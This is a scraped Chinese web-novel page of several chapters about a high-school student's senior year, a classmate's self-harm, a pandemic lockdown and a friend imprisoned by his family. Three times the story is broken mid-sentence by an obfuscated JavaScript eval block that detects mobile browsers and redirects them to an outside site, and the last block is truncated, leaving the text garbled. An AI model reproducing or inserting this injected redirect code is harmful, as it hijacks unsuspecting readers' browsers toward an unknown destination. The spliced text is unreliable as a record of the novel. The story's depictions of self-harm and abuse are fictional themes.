“白鹤生想跟我借一下家长,”她笑,“我这个人很大方的,不跟他计较了,我把外婆借给他,他要是再贬低我的手办,我就打死他。” 29. 第 29 章 晚自习时,班主任邓宁煜叫了班长和几个女生出去,半节课之后,出去的人都回来了。 邓宁煜让大家停下手中的笔听他讲,“那位同学已经脱离生命危险了,同学们,现在高三学业重,觉得压力大是可以理解的,可以向家长老师寻找帮助,也可以和关系好的同学们倾诉,但是不要轻生,这会给人添麻烦。” 后半句话,路既棠觉得有些耳熟,他想了一下,想起高二那年凌晨一点多,所有的寝室楼的灯突然亮起,值班老师一个一个寝室敲门,叫醒睡梦中的人,要求不能把今晚发生的事情传到网上,事实上,路既棠并不知道发生了什么。他猜测了很多种可能,硬生生地把自己搞失眠了。 第二天才知道,有一个复读的学长跳楼了。 那时候,邓宁煜也是这样说的,“轻生之前,为父母老师想一想,不要给别人添麻烦。” 一条命、一颗心如死灰的心灵、一个觉得自己已经行至末路的人,在某些人眼里,居然只是“不要给别人添麻烦”的那个麻烦。 可那又能怎么样呢? 事情刚发生的时候,其他班的人都过来打听,岑嘉凝的外套盖住了那个人的头和脸,三班的人都默契地没有把那个人的名字往外说,所以班外的人还不知道做出这样“惊骇事”的人是谁。 原来这个成绩这么好的班级里,也会有人自.杀啊,真新奇,真新鲜。 可班上的人都是知道的,座位上少了谁显而易见。 路既棠和那个女生接触不多,只知道那个女生一向沉默寡言,有一次撞见她站在内走廊里,看楼外的玉兰树,回头看过来的目光里,是一览无余的死寂。 再后来,就是她在座位上拿着剪刀尖戳自己的胸口,被周围的同学发现及时制止。邓宁煜来看过之后说,要叫她的家长来一趟学校,那时候她立刻嘶叫起来——“不要!”她口中来来回回地叫着这两个字,叫到声音嘶哑,叫到喉咙发不出声音,不是悲痛绝望到极致,又怎么能发出这样的声调。 路既棠不知道她经历过什么。就像杨秋染说的那样,有些东西,真的太沉重了。 邓宁煜的声音把路既棠的思绪拉回现实,他让班上的同学安心学习,不要受那位同学的影响。 三言两语地把事情揭过之后,邓宁煜说起一模成绩和成人礼,他说一模的试卷在老师们加班加点下已经批改结束,现在在汇总成绩,第二天就能出成绩,成人礼和家长会需要大家的配合,希望同学们好好准备。 他说得简洁,三言两语说完后,就离开了教室。 第二天,成绩果然出来了。 路既棠依然还是班级第一,文科第一,不同以往的是,这次的第一,不止一名。 祝汝,并列班级第一,文科第一。 这是从没有过的事,班上的很多同学都感到非常震惊。 路既棠虽然也觉得震惊,但觉得没有太出乎自己的预料,之前祝汝的的分数和自己的差距越来越小,他就料到了一定会有这一天。 可是不得不说,她走得很稳,也走得很快,这个女孩子,实在太令人惊艳了。 就这样,在一模成绩出来之后,他们迎来了高三的成人礼。 会场早早就被布置好了,上午八点半,大多数家长已经到学校了,路既棠在校门口看到了奶奶。 今天他一身剪裁流畅的浅色系西装,头发梳上去,露出干净的额头和眉眼,一副细框眼镜架在鼻梁上,少年气和西装带来的郑重感对冲,居然隐隐有惑人心魄的雏形了。 奶奶是和杨外婆一起来的,她们俩挽着手站在桂花树下,身后跟着杨秋染的父母杨见晞和何景研。 “小棠,这边!”杨见晞冲他招呼,等路既棠走近了,她把路既棠仔仔细细地看了一遍,偏过头去对路奶奶说,“路姨,小棠今天可真俊啊,真像他爸爸当年。” 路既棠挨个打过招呼之后,走到路奶奶身边,路奶奶含笑拍拍他的手,“对,真是像,小棠长大了。” 紧接着,白鹤生和杨秋染也到了。 一身深色西装居然也没压住白鹤生散漫的气质,他不笑时显得非常不好惹,但一笑起来,立刻又成了讨长辈欢心的好孩子。 杨秋染今天穿了一条晚礼服裙,头发盘起来,妆容精致,柳叶眉杏仁眼的女孩此刻像一朵盛放的月季花。 杨见晞在见到杨秋染时,立刻迎上去,她拉住杨秋染从头到脚看了一遍又一遍,这是她唯一的孩子,是她最心爱的孩子。何景研虽然没有跟着杨见晞上前,但看向杨秋染时,目光柔和。 杨外婆则把白鹤生招过来,“以前没觉得,但今天看你穿西装,才发现,原来你已经长这么高了,要是你爷爷还在,能看到你今天这样,一定会很高兴的。” 说话间,广播声响起,招呼家长和学生们入场。 等人都坐定后,成人礼正式开始。 一项项议程下来,路既棠时不时地去看一眼路奶奶。 路奶奶拍拍他的手,示意路既棠认真听讲。 到了宣誓环节,八班的蒙亦安作为学生代表上去领誓,于是所有的学生都站起来,在这个吹着凛冽寒风的早晨里,上千人开始宣誓。 宣誓结束之后,就是加冠礼,家长们要为学生们戴上像学士帽一样的帽子,只不过这帽子是红顶黄穗的,印着南中的校徽。 路奶奶为路既棠戴上了帽子,神色郑重认真,目光里隐隐含着欣慰。 这孩子,原来都长那么大了啊,她一手将路既棠从六岁带到现在,看着他从幼童渐渐长成少年,很快,他就会完成高中的学业,往后天高海阔,他可以去他想去的地方了。 加冠礼之后,是过成人门。长长的红毯一路铺开,尽头就是那所谓的成人门,学生们携着家长排着队走过成人门。 队伍很长,众人有条不紊地走着,老师们站在成人门后等着给学生发笔,路既棠走到成人门时,等在那里的语文老师第一个把笔递给他,年轻的语文老师眼里含着笑意,“路既棠,加油。” 路既棠接过笔,向语文老师道谢。 这一环节结束之后,活动就结束了。家长和学生可以自由活动,半个小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396653|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后家长还需要到教室里去参加家长会。 路既棠担心奶奶撑不住,于是把奶奶扶到长椅上坐下。很快,白鹤生也扶着杨外婆过来了。 路奶奶和杨外婆休息了一会,路奶奶就提议想先去教室看看,杨外婆也同意,走之前,杨外婆说:“放心吧,我们还没那么脆弱,你们玩你们的去吧,我和霜白自己去。” 说着居然真的不要路既棠和白鹤生跟着了。 目送路奶奶和杨外婆走远后,白鹤生手臂搭上路既棠,说道:“我过来的时候碰到殷倚松了,你猜我听到他家长和他说什么了?” 路既棠心头一跳。从今天早上开始,他就没见过殷倚松,于是他下意识追问道:“什么?” “我从他背后过去的,他没看见我,”白鹤生眯着眼不知道在看什么,声音里没有一点情绪,“那个人应该是他妈吧,我没看见正脸,不然肯定能认出来。” “他家长对他说,”白鹤生一字一句地复述道,“‘你爷爷宁愿把东西给你,都不给你爸,但你看看你这个样子,也配吗?那个第一名叫路既棠是吧,你看看你的成绩和他差了有多远,我没有你这么没出息的儿子,我看你和那个路既棠的关系可真不错,为了他,你敢和家里对着干了,我倒要……’” “后面的,我没敢仔细听了,”白鹤生叹了口气,“我早说过,让你离他远点,他们家的人,都是吃人不吐骨头的狠角色,我父母都斗不过他们,更何况是我们呢。” 路既棠听得皱眉,“到底是什么样的父母,才会对孩子说出这种话?” 白鹤生听得发笑,“宝贝,世界之大无奇不有,不是所有的父母都配当父母的,有时候,他们连做人都不配,我不就是活生生的例子吗?” “啧,人在屋檐下,不得不低头,”白鹤生拍路既棠的肩,“我看啊,等殷倚松能腾出手反抗的时候,他父母的报应就来了,说实话,我还挺期待那天的。” “不管怎么说,你小心点吧。”白鹤生说道。 路既棠点头,示意自己知道了。 杨秋染走过来,叫他们,“家长们都去开家长会,现在有人在教学楼的大楼梯前组织拍大合照,你们先去凑凑热闹,我和朋友们拍完就过去。” 大楼梯上已经站了一波人,白鹤生和路既棠一来,立刻就成了全场瞩目的焦点。路既棠今早已经被很多人偷偷用手机拍了几十遍,现在已经完全免疫了。白鹤生还在笑着和人打招呼,让别人找好看的角度拍他。 闹了好一会之后,组织拍照的人让大家找位置站好,男生们大多穿着西装,女生有穿长裙的、有穿衬衫格子裙的、还有穿西装的,一群人对着镜头站定。 相机将他们的面容和神态定格在这一刻。 这是他们的高三,是他们的成人礼,是他们鲜活的、值得用余生去记住的青春。 不知道是谁先喊的一声,“祝我们成人快乐,祝我们高考都能考出理想的成绩,考上想去的大学。” 下一刻,人群喧闹起来,回应着这句话。 青春真好,年轻真好。 30. 第 30 章 家长会结束,终于可以放假了。 这一个学期终于结束了,路既棠松了一口气,他终于可以抽出一点时间,来思考他和殷倚松的关系了。 他把所有的已知条件列出来,一条一条地比对。 首先,他得知道,殷倚松对自己到底是什么感情。 之前那天晚上,殷倚松为了白鹤生跟他吵架,那时候殷倚松的情绪波动,很不正常。 谁会对正常的朋友有那么强的占有欲?但路既棠知道,那天他也不太正常,他难得地对殷倚松起了火气,最后也因为安于年对殷倚松生气,而他可以确定的是,那时候他对殷倚松并没有非分之想。 他理来理去还是没有理清楚,于是只能暂时搁置。 其次,是他什么时候和殷倚松坦白。这件事不用深想,高考之前都不行,要等高考结束之后,那时候,如果没有意外的话,他可以有漫长的时间去铺垫。 最后,是他和殷倚松该有什么样的未来。 如果殷倚松喜欢他,那当然是皆大欢喜。 如果殷倚松并不喜欢他,甚至讨厌这样的关系,那他可以就此退出殷倚松的世界,毕竟上了大学之后,只要在不同的城市,不同的学校,高中的关系很快就会被淡忘,殷倚松也不用担心会被他打扰。 如果殷倚松虽然还不喜欢他,但也不反感这样的关系,那他可以试试,把殷倚松写进自己的未来,从朋友到恋人,他有耐心一步步地把这条路走下去,到时候,他们就可以一起漫步在大学的校园里,他们会有长长久久的未来。 如果真是这样就好了。路既棠把所有的可能性都考虑了一遍,最后得出一个结论,所有的事情,都等到高考结束再说,思及此,路既棠沉下心来。 他站起身来,打开房间的窗,看着窗外的冬雨,长舒了一口气。 今年的冬天似乎格外不同寻常,打雷下暴雨——这常见于夏天的景象,居然频繁在今年冬天出现。今早和奶奶出门散步时,还发现邻居家的金银花藤开花了。 手机震了一下,叫回了路既棠的思绪。他打开一看,邓宁煜在班群里发,之前那个割.腕的女生因为重度抑郁和自.残行为休学了,希望同学们在学习的同时注意身体健康和心理健康。 路既棠看完之后,陷入长久的沉默。 窗外的冬雨还在下。 快过年了。 今年路既棠很早就请了家政阿姨上门打扫卫生,杨见晞照例托司机上门送年货和新鲜瓜果,在把厨房的冰箱填满之后,还额外多送了许多,只能放在地下室的冷藏库。最后他只需要贴上春联。南北通透、干净明亮的家里,被春联染出了几分喜庆的颜色。 白鹤生的父母不在南林市,路奶奶怕他一个人照顾不好自己,于是叫了白鹤生过来住,今年就在家里过年。白鹤生本想推辞,但一向好说话的路奶奶这次却格外执着。 腊月二十六,路奶奶叫人送了一棵菩提树苗过来,种在了花园南边的一个角落。 她看着被种下的树苗,对路既棠和白鹤生说,“菩提树可以长很多年,多年以后,你们回来再看,或许它已经枝繁叶茂了。” 腊月二十八,白鹤生连着打了一个通宵和一个白天的游戏,吃了晚饭后早早睡了,晚上九点,路既棠下楼时,发现书房还亮着灯,他过去看,发现奶奶坐在书房的屏风后,手上翻着什么。 他叫了一声“奶奶”,然后走了进去。 路奶奶手上拿着一本相册,桌上放着被叠得很整齐的信件。 她戴着眼镜,细细的眼镜链挂在镜框上,目光从镜片中看过来,很像路既棠,或者说,路既棠很像她。 她叫路既棠到她身边坐下,“小棠,你记得你的名字是怎么取的吗?” 路既棠:“记得,是我妈妈翻千字文给我起的。” “是也不是,”她微微笑起来,“一看到‘棠’这个字,很多人都会第一时间想到海棠花,你的名字,当然也和海棠花有关系。” 路既棠有些惊讶。 “你爸妈第一次见面就是在辩论赛上,”她的笑意越来越深,“这世上有能有多少次一见钟情啊,偏偏都让我们家里的人遇上了。” 路既棠几乎是震惊了,六岁之后,他就被奶奶带在身边,关于父母的记忆寥寥无几,路奶奶很少和他说。 “你爸妈都是一个学校的,但居然到大三才遇到彼此,那场辩论赛就设在江宁市,结束之后,你爸爸被同学拉去游湖,在莫愁女的故居里,居然又遇到了你妈妈。” “阳春三月里,海棠花开满了莫愁湖。那时候,你妈妈穿了一条白色长裙,站在花里,像天上的月光。”路奶奶说,“这不是我说的,这是你爸爸说的。” “那时候,我在想,这么多年,你爸爸终于遇上了喜欢的人,可真难得啊。”路奶奶接着说,“可第一眼就这样喜欢的人,不是缘就是劫,如果你妈妈不喜欢你爸爸,你爸爸该怎么办呢?” “幸好,你妈妈对你爸爸也是同样的感情,那里的花就成了你爸妈的定情信物,”路奶奶叹道,“可惜,天不许美好的事物长久。” “关于莫愁湖的海棠花还有一个故事。” 路既棠听得认真,“什么样的故事?” “海棠花是一位伟人最钟爱的花卉,他的住处也广植海棠,他常常携妻子前往莫愁湖观赏海棠花,有一年,在外工作的他无法亲临赏花,于是他的妻子将一支海棠花剪下,做成标本后夹在书页中,不远万里地向丈夫赠花,成了一段佳话。” 路既棠惊叹。 “你的名字,既是你妈妈对你的期许,也是你爸妈钟情于彼此的烙印。”路奶奶神色温柔,“小棠,你是他们的孩子,他们虽然不在了,但他们很爱你,我总觉得,他们还在什么地方,就这样看着你长大。” 路既棠怔怔地望着路奶奶。 “你看这本相册,前面的是我和你爷爷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396654|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中间的是你爸爸和你妈妈,后面的是你。”路奶奶柔声说,“我真想看着你上大学、工作,遇到喜欢的人,和那个人一起度过很长很好的一生。” “不管那个人是谁,是什么身份,只要是真心实意喜欢你,愿意对你好就好。”路奶奶说道,“这世间的真情已经很难得了,如果再立下那么多的限制,不是要活生生地把人推远吗。” 听到这里,路既棠几乎都要以为路奶奶知道他对殷倚松的感情了。 路奶奶已经把话题转开,“说起来,你爸爸和你爷爷一样,都走了刑法这条路。” “以前我总不明白,为什么你爷爷对刑法研究那么执着,后来,你爷爷跟我讲过一个案件,一个本来无罪的人,因为司法者机械地适用刑法,面临高刑期和巨额罚金,那时候,包括他们一群刑法学者指出了司法者适用法律上的问题,最后那个人最终被无罪释放了。” “他那时候说,他所做的一切是有意义的,有些东西不是绝对正确的,但也不是绝对对立的,需要很多法律人在实务中渐渐摸索,最终是为了最大限度上达到公平正义,用刑法,一定要有悲天悯人的情怀。” “我知道你也想走他们的路,”路奶奶说道,“我也知道你怕我伤心,所以一直瞒着我,”路奶奶轻轻按住路既棠的手,“我是不希望你去走他们的路,因为那条路真的很危险,也很难走。” “可是,我总不能拦着你,那对你不公平。”路奶奶说,“这些年,我一直在想你爷爷说过的话,慢慢的,我也想明白了,人这一生,真的要接受命运的无常。” “我和你爷爷在一起那么多年了,缘分说长不长,说短也不算短了,如果真的有另一个世界,他一定会在那里等我,到时候,等我去找他了,我再和他说说你的故事。” “你爷爷要走这条路,你爸妈要走这条路,现在你也想走这条路,”路奶奶笑中隐隐发苦,“或许这确实是宿命吧。” 路既棠反握住路奶奶的手,迟疑道:“奶奶……” 路奶奶却示意他自己没事,“小棠,如果你真的想好了,就去做吧,我总是支持你的,我相信,他们也一样。” 他们一直说到了晚上十点半,路奶奶还要整理信件,她回绝了路既棠的帮忙,让路既棠先回去睡。 第二天早上,白鹤生推开了路既棠的房间门,发现路既棠还在睡,他也没出声,就坐在房间里的沙发上等路既棠醒。 路既棠一觉睡到了八点半。他坐起来,看到了沙发上的白鹤生,问道:“怎么了?” “就现在这个情况,我估计我们不能准时开学了。”白鹤生说道。 路既棠沉默了。他们这一届很特殊,遇到了这样的事。 今年的年过得比往年都要凄清,吃完年夜饭之后,杨见晞打电话来说,让他们这段时间都不要出去,缺什么少什么和她说。 果不其然,他们没能按时开学,很快,学校开始组织上网课。 31. 第 31 章 路既棠高三的二轮复习是在网课中度过的。 路既棠一直没有出过门。他可以忍受,但白鹤生显然很难忍。一天,在线上考完试之后,白鹤生把平板一扔,直接躺在沙发上,开始胡言乱语,“这鬼日子还要过多久啊。” 班群里有人发了和白鹤生一样的话。晚上七点,又到了打卡的时间。 路既棠心态很稳定,怎么学都是学,只是他偶尔也会在复习的间隙里想念之前不用打卡、不用上网课,只需要在教室里安安静静上课、写作业和复习的日子。 很快,学校组织发新的复习材料。学生们在市区的,在做好防护措施之后,可以自行到指定的地方去领,不在市区的,由老师们负责把资料送去。 终于能出门了,白鹤生肉眼可见地亢奋。 三月初了,春天都来了。 在明媚的春光里,花园里的鲜花已经争先恐后地开放,很多事物都在向好的方向走。 只是,高三的学生依然没能返校。 路既棠和白鹤生去领书时,已经是下午四点半,他们正好遇到了梁艺珊。梁艺珊对分发资料的老师说:“麻烦您把三班殷倚松的那份资料也给我吧,他不方便出来拿,我家离他家近,我带回去给他。” 她领完资料,转过身来,看到了路既棠,她笑了一下,神色复杂,她对路既棠说:“正巧,让我遇到你了,殷倚松托我给你带句话,这段时间不要给他发任何信息,现在他不方便回复。” “多的我也不能说,”梁艺珊看了一眼正等着她的司机,“我先走了,再见。”说完她就矮身坐进了车里。车很快扬长而去。 白鹤生看得莫名其妙,“她在打什么哑迷?” 路既棠则望着梁艺珊离去的方向,想起殷倚松最后一次回复自己信息的时候,那时候殷倚松叮嘱他,要继续按时吃调理的药,还列了一张清单给他,说是可以清肺排毒。 后来,殷倚松突然不回他的信息了,路既棠去看他的朋友圈。殷倚松的朋友圈发得很少,但都是长期可见的,但当他去看时,发现殷倚松把朋友圈清空了。背景、个性签名全都是一片白。 路既棠记得,殷倚松最后一条朋友圈,是在刚放寒假的第二天早上发的,是转发的一首英文歌。 路既棠点进去听了。整首歌的曲调非常低沉,歌词似乎在讲一个求而不得的故事,男声在歌曲高.潮处唱道:“恶心吗,确实很恶心,可我懂得他的绝望。” 现在这条朋友圈也消失了。 发生了什么呢?他什么都不知道。 他甚至没来得及问梁艺珊,殷倚松这段时间怎么样,有没有生病,过得好吗。 白鹤生半晌没得到路既棠的回应,于是拍了拍路既棠,路既棠回道:“没什么事,反正等返校了,就都清楚了。” 这边,梁艺珊到了市中心的一处园子,一个穿着唐装的中年男人走在最前面为她引路,她走在中间,司机拿着学校新发的资料亦步亦趋地跟在她后面。 这园子从头到尾都是仿着古时著名的园子建的,是很典型的中式建筑,其间的假山水榭、亭台楼阁、花草树木,没有一处不精心、不雅致的,这样的景致,并没有让人觉得心情舒畅,只觉得莫名低沉压抑。 梁艺珊长吸了一口气,走过最后一段廊桥,踏进了主院的厅堂。厅堂的主位上坐着一位衣着精致的女人,她看起来只有三十多岁,眉眼锋利,她手中握着一盏茶,正不紧不慢地撇着杯中的浮沫,“来了?” 她抬起眼,刀锋似的目光轻飘飘地落在梁艺珊身上。梁艺珊在说不出来的威压下,站得笔直的身体不由自主地轻微抖了一下,她镇定道:“阿姨,书我带回来了,您还有什么吩咐吗?” “听说你遇到那个叫路既棠的人了,”女人轻轻地说道,“还带了句话给他,看来我的这个大儿子真是不省心,都这样了,居然还想着让你带话出去。” 刹那间,梁艺珊脸色变得煞白,她不受控制地看了一眼站在她身后、此刻正深深埋着头的司机。 女人把茶盏放下,茶盏在四方桌上磕出清脆的声音,“这次就算了,”她打量着梁艺珊,笑了一下,“小珊,有些事不是你该管的。” “阿姨,是我做错了。”梁艺珊艰难地稳住自己的声音,“不会再有下次了。” “好了,一点小事,不打紧,”女人笑吟吟地说道,“这次就辛苦你了,回去告诉你爸爸,他女儿做得很好,他要的东西,我准了,去吧。” 梁艺珊没管额头上渗出来的细密冷汗,勉强说道:“是,阿姨。” 女人冷冷地看着梁艺珊离开后,对站在她身后的人说道:“多久没给他吃饭了?” “已经三天了。” 她沉吟了一会,问道:“祁舒呢?” “小少爷今早约了人出城去了,他托我给您带话,小少爷要在城外的庄园里多待几天。” 女人摆摆手,纵容地说道:“由他去吧。” “我去看看那孽障。”她站起身来,眼睛里的戾气浮了上来,“难得老不死的又被支走了。” 从外面锁住的门被大力掀开的那一刻,盘坐在角落里的殷倚松被光刺得眯起了眼睛,他瘦了许多,却没有想象中的那么狼狈。 房间里的灯被打开,高挑的女人逆着光走了进来。 殷倚松抿了一下苍白皲裂的嘴唇,到底还是没有开口说话。 倒是女人先开口了,“学校成人礼那天我也真是昏了头,居然在大庭广众之下和你起了争执。” 单方面的辱骂竟也算是争执吗?一时之间,殷倚松居然有些想笑。 “你父亲不想见你,”女人说道,“那只好我来了。” “你说,那老不死的是不是很偏心?” 殷倚松还在眯着的眼睛在听到这句话后,霎时间放大,他阴沉地看着眼前的女人。 下一刻,女人伸手打了他一巴掌。这一巴掌没有留一点力气,殷倚松的脸慢慢泛红发肿。 “你是什么东西,也敢拿这种眼神盯着我。”女人说道:“明明你父亲才是他的亲生儿子,老不死的就是不肯把东西给他,他殷侠白算是什么东西,不过一个旁支出身的,还非要多管闲事,年纪轻轻就死在了外面。” “哪怕是这样了,老不死的竟然还是不肯给你父亲,居然越过你父亲,直接定下了你。”女人打量着他,“你有什么好的,祁舒和你一胎所出,为什么他也不给祁舒,偏偏要给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396655|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 殷倚松终于有反应了,他沉沉笑道:“如果爷爷真把东西给了殷祁舒,现在被关在这里的,就不是我,而是殷祁舒了吧。” “您什么都听父亲的,父亲让您恨谁您就恨谁,您是父亲手上最趁手的一把刀,可父亲真的把您当人看吗,明明我是您的亲生儿子,就因为父亲的恨,所以您也这样恨我。”殷倚松又挨了一巴掌,他也没管,“一个能冷眼旁观母子反目的男人,母亲,这个人真的值得您不顾一切地付出吗?” “你真的不怕我杀了你吗?”女人神色激动。 “您不敢,”殷倚松笑道,“在我继承那样东西之前,父亲不会真的让我死的,他也不敢,毕竟已经死了一个小叔叔了,如果我再死,您觉得,爷爷会毫无察觉吗?” “你真是翅膀硬了……”女人点点头,转身扶着额,深深吸气,“真是翅膀硬了……”她下意识重复道。 “一个月前,爷爷被请走了,”殷倚松补充道,“但算算时间,他也该回来了,毕竟,他一直都不放心你们。” “所以,母亲,父亲要出气也出够了,”殷倚松站起身来,他摇晃了一下,但最后还是站得稳稳当当,他面色苍白,“这么久了,我想,也该放我出去了。” 女人停下来,刹那间,她想明白了所有的事情,“你叫梁艺珊带话,就是为了让我来见你,”她叹道,“真不愧是我亲生的,小小年纪,心思就如此深沉了。 “是您和父亲教得好。”殷倚松谦卑地说道。 他垂着眼,等到女人走了之后,才敢抓住身前的椅背,他摇摇晃晃地站着,心里默默而重复地念着三个字,“路既棠,路既棠,路……既……棠……” 路既棠此刻正坐在屋顶上,夜幕降临,一弯新月挂在西边的天空上,非常秀气漂亮,他看了许久。 他在想殷倚松。 下午的时候,他对白鹤生说的话,看起来很有底气,但实际上,他心里并没有底,他很想知道殷倚松发生了什么,在殷倚松和他没有联系的这段时间里,他感到很不安。 身后传来白鹤生的声音,“你看得够久了,走吧,下去吃饭,今晚的饭是我做的,厉害吧?” “你做的饭真的能吃吗?”路既棠站起身来,笑着问道。 “去你的,”白鹤生给了他一拳,“奶奶都说我做的饭好吃,你胆敢忤逆我。” 路既棠挨了白鹤生不轻不重的一拳,却没有打回去,他只是站在那里,继续抬头看了一眼月亮,轻声说道:“你说,这一切什么时候才能结束,我们什么时候才能回学校?” 白鹤生敛起恼怒的神色,他难得认真思考了一会,说道:“不知道,但我能感觉到,快了。” 从岁暮天寒到春意盎然,这段时间里,路既棠写过很多很多作文,作文题目无一例外都在说着这正在发生的事情。他在一纸又一纸的作文题目中,窥见了历史推演、众生百态。 那段时间,他们几乎每一天都在见证着历史,他们这一届高三太特殊了,特殊到会成为历史的一部分。 或许很多年后,没有什么人记得这段历史了,但历史的亲历者身上还会留存历史的烙印。 两天后,高三学生返校。 32. 第 32 章 路既棠在收拾返校的东西,出门前,路奶奶摸了摸他的头,说道:“小棠回校之后要注意身体,好好吃饭,好好睡觉。” 路既棠乖乖点头。 叮嘱完路既棠之后,路奶奶对白鹤生说道:“鹤生也是,不要那么要强,你年纪还那么小,平时课业那么繁重,你真的不用额外花时间去网上接兼职挣钱,你总是睡不够,这可怎么是好,你还是个孩子啊,奶奶养得起你。” 白鹤生听后,眼神躲闪了一下,他原先是笑着,此刻眼中却有泪光一闪而过,“诶,”他应道,“奶奶,我听您的,您要寿比南山,我以后赖着您和小棠一辈子。” 路奶奶拍拍他的背,笑道:“真是小孩子,说这个像什么话。” 最后,路奶奶给了路既棠和白鹤生一人一个红包,送他们出了门。 门外,杨见晞的司机在等着他们。 路既棠终于回到了阔别近三个月的学校。 很巧的是,路既棠刚一踏进校门,就看到了正站在视线尽头处玉兰花树下的殷倚松。 殷倚松正和人说着话,他戴着口罩,只露出一双眼睛,此时若有所感地抬头看过来。 于是,路既棠对上了那人的目光。 殷倚松似乎是高了,但也瘦了许多,路既棠已经很难从殷倚松的目光和神态中,看到这人往日温润的影子。 他好像变得阴郁了,路既棠想。 可是奇怪的,路既棠又听到了心跳剧烈响起的声音。 他下意识就往殷倚松的方向走去。 走在他身边的白鹤生也看到了殷倚松,想起成人礼那天听到的话,白鹤生一把拉住路既棠,“你到底怎么回事?” 路既棠站住了,他对白鹤生说:“我过去和他打个招呼。” “……我已经告诉过你无数遍了,他这个人和他的背景有多危险,他真就这么好?”白鹤生咬牙切齿地说道:“你完了,路既棠,我看你真要万劫不复了。” 说完,他松开了路既棠,径直绕道走了。 路既棠下意识喊了一声白鹤生。 白鹤生没理他,很快就走远了。 目睹了路既棠和白鹤生的拉扯之后,站在树下的殷倚松轻笑了一声,笑声里带着一点讽刺,“我明明知道,他们一起长大,是最密不可分的两个人……” 和他说话的正是梁艺珊,她也目睹了这一切,一时之间,她被这疑似三角恋的剧情震惊得说不出话。 下一刻,她眼睁睁看着殷倚松抬步往路既棠走去。 梁艺珊发出一声叹息,自怨自艾也不耽误他又争又抢,殷倚松这个人,实在是个狠角色。 以前居然还觉得他和自己同病相怜,她真是小看他了。她懒得再看,于是也走了。 回到寝室之后,路既棠要收拾整理,殷倚松搭了一把手,在殷倚松的手落在路既棠手背上的那一瞬间,路既棠不受控制地一颤。 下一刻,路既棠自认为不动声色地抽出了手。 殷倚松的手落在半空中,瞬息之后,他自然地将手收了回去。 路既棠松了一口气。 以前觉得正常的接触,在路既棠意识到自己对对方的感情之后,就变得不正常了,他不敢再和殷倚松有任何肢体接触。 以前坦坦荡荡,现如今,却要百般避嫌。路既棠第一次这么喜欢一个人,他不知道该用什么方式去和这个人相处才是正确的,只能下意识地按照自己内心的想法来。 路既棠随口说了两句话,见殷倚松没起疑心,他就接过殷倚松手上的东西,继续转身收拾去了。 他没看见,在他身后,殷倚松看他,就如看最珍爱的猎物般磨牙吮血的眼神。 殷倚松冷漠地想,原来他讨厌我了啊,倒也很正常,他那么干净,和我本来就不是一个世界的人。 在收拾完之后,路既棠怀里抱了一沓书,提出要回教室,于是他们一起往教室走去。 路上,殷倚松不甘心,又试了一次,他装作不经意地搂住路既棠的肩头。 路既棠吓了一跳,这回他的反应剧烈得多,怀里的书就这样脱手,就要落到地上。 殷倚松的动作快到看不清,他放开路既棠,在书落地前,接住了书。 他将书叠好,还给了路既棠,“是我唐突了,抱歉。” 路既棠看着他,难得语无伦次,“没有……不是……没事的……我们继续走吧。” 果然,白鹤生可以,我不可以。殷倚松心想。可惜,之前我给过他机会了,是他不走,到了现在,我不会让他走了。 回到学校,学习更繁重了。回校的第一周,学校不断地安排考试,从周一考到周末,早上考,下午考,晚上也考,像是要把网课期间少考的那些试都补回来。 第二周,成绩和排名不断地出来,路既棠的排名很稳定,数学分数甚至还上升了,比放寒假前还多了将近十分。 除了语文没有进步的空间之外,其他科的分数居然也在上升。他和第二名祝汝的成绩又拉开了。 和他不同的是,殷倚松这几次的成绩都掉出了班级前五。路既棠心想,殷倚松没有回复他消息的那段时间,到底都经历了什么。 想到这里,他回头看了一眼殷倚松。 殷倚松正看着黑板,一双眼睛漆黑得没有一点光亮,他神色冷漠,如果说之前是很难看出他从前的影子,那现在,殷倚松像是变了一个人,温和从容,已经完全从他身上消失了。 路既棠的心沉了下去。 就在短短的走神时间里,路既棠被历史老师点名了,“路既棠,你来说一下试卷上的倒数第二题,讲讲你当时的思路。” 他一直都很喜欢历史,但从高三换了历史老师后,他对历史没有之前那么钟爱了,他能感觉到,这位老师看似随和,却在隐秘频繁地针对他。 初中的经历让他对人的恶意非常敏感,很多时候,一个人对另一个人的恶意,可以没有起因没有理由。 初中时的路既棠还会试图找出对方厌恶自己的原因,和对方缓和关系,期望能友好相处。 后来他发现,那完全是浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 